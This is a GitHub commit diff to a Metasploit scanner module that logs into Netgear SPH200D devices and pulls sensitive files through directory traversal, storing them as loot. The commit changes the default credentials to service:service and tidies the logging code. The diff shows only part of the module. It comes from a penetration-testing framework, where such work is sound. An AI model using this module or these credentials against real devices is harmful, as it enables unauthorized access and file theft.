Skip to content

Commit a7988f9

Browse files
author
void-in
committed
Change credentials to service:service
1 parent 5085749 commit a7988f9

File tree

1 file changed

+14
-10
lines changed

1 file changed

+14
-10
lines changed

modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb

Lines changed: 14 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -31,11 +31,15 @@ def initialize
3131
[
3232
OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line",
3333
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
34-
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
35-
OptString.new('PASSWORD',[ true, 'Password to login with', 'password'])
34+
OptString.new('USERNAME',[ true, 'User to login with', 'service']),
35+
OptString.new('PASSWORD',[ true, 'Password to login with', 'service'])
3636
], self.class)
3737
end
3838

39+
def peer
40+
"#{rhost}:#{rport}"
41+
end
42+
3943
def extract_words(wordfile)
4044
return [] unless wordfile && File.readable?(wordfile)
4145
begin
@@ -60,7 +64,7 @@ def find_files(file,user,pass)
6064
})
6165

6266
if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/
63-
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
67+
print_good("#{peer} - Request may have succeeded on file #{file}")
6468
report_web_vuln({
6569
:host => rhost,
6670
:port => rport,
@@ -74,18 +78,18 @@ def find_files(file,user,pass)
7478
:method => "GET"
7579
})
7680

77-
loot = store_loot("lfi.data","text/plain",rhost, res.body,file)
78-
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
81+
loot = store_loot("lfi.data","text/plain", rhost, res.body, file)
82+
vprint_good("#{peer} - File #{file} downloaded to: #{loot}")
7983
elsif res and res.code
80-
vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}")
84+
vprint_error("#{peer} - Attempt returned HTTP error #{res.code} when trying to access #{file}")
8185
end
8286
end
8387

8488
def run_host(ip)
8589
user = datastore['USERNAME']
8690
pass = datastore['PASSWORD']
8791

88-
vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
92+
vprint_status("#{peer} - Trying to login with #{user} / #{pass}")
8993

9094
# test login
9195
begin
@@ -100,14 +104,14 @@ def run_host(ip)
100104
return :abort if (res.code == 404)
101105

102106
if [200, 301, 302].include?(res.code)
103-
vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
107+
vprint_good("#{peer} - Successful login #{user}/#{pass}")
104108
else
105-
vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
109+
vprint_error("#{peer} - No successful login possible with #{user}/#{pass}")
106110
return :abort
107111
end
108112

109113
rescue ::Rex::ConnectionError
110-
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
114+
vprint_error("#{peer} - Failed to connect to the web server")
111115
return :abort
112116
end
113117

0 commit comments

Comments
 (0)